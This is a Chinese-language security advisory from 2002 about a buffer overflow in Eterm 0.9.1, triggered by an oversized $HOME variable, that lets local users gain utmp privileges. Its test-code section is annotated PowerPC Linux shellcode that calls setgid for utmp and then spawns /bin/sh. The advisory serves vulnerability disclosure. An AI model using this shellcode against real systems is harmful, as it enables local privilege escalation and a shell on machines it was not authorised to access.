ETerm 的HOME环境变量存在缓冲溢出漏洞发布时间:2002-01-17 更新时间:2002-01-17 严重程度:中 威胁程度:权限提升 错误类型:边界检查错误 利用方式:服务器模式 受影响系统 Eterm Eterm 0.9.1详细描述 Eterm 是免费开放源代码终端模拟程序。 其中多数系统中以setuid utmp属性进行安装,当$HOME变量被填充4128个字节 并且ETERM被执行的时候,就会出现缓冲溢出,可导致本地用户以utmp权利执行 任意代码。 测试代码 /* execve.c * * PowerPC Linux Shellcode * * by Charles Stevenson <core@bokeoa.com> * * original execve by my good friend * Kevin Finisterre <dotslash@snosoft.com> */ #include <stdio.h> char shellcode[] = /* setgid(43) utmp */ "\x38\x60\x01\x37" /* 100004a0: li r3,311 */ "\x38\x63\xfe\xf4" /* 100004a4: addi r3,r3,-268 */ "\x3b\xc0\x01\x70" /* 100004a8: li r30,368 */ "\x7f\xc0\x1e\x70" /* 100004ac: srawi r0,r30,3 */ "\x44\xff\xff\x02" /* 100004b0: sc */ /* execve("/bin/sh") */ "\x7c\xa5\x2a\x78" /* 100004b0: xor r5,r5,r5 */ "\x40\x82\xff\xed" /* 100004b4: bnel+ 100004a0 <main> */ "\x7f\xe8\x02\xa6" /* 100004b8: mflr r31 */ "\x3b\xff\x01\x30" /* 100004bc: addi r31,r31,304 */ "\x38\x7f\xfe\xf4" /* 100004c0: addi r3,r31,-268 */ "\x90\x61\xff\xf8" /* 100004c4: stw r3,-8(r1) */ "\x90\xa1\xff\xfc" /* 100004c8: stw r5,-4(r1) */ "\x38\x81\xff\xf8" /* 100004cc: addi r4,r1,-8 */ "\x3b\xc0\x01\x60" /* 100004d0: li r30,352 */ "\x7f\xc0\x2e\x70" /* 100004d4: srawi r0,r30,5 */ "\x44\xff\xff\x02" /* 100004d8: sc */ "\x2f\x62\x69\x6e" /* 100004dc: cmpdi cr6,r2,26990 */ "\x2f\x73\x68\x00"; /* 100004e0: cmpdi cr6,r19,26624 */ int main(int argc, char **argv) { fprintf(stderr,"sizeof(shellcode)=%d\n",sizeof(shellcode)); //__asm__("b shellcode"); printf("%s",shellcode); return 0; } 解决方案 尚无 相关信息 Charles 'core' Stevenson <core@bokeoa.com 参考:http://www.securityfocus.com/archive/1/250145 相关主页:http://www.eterm.org/ |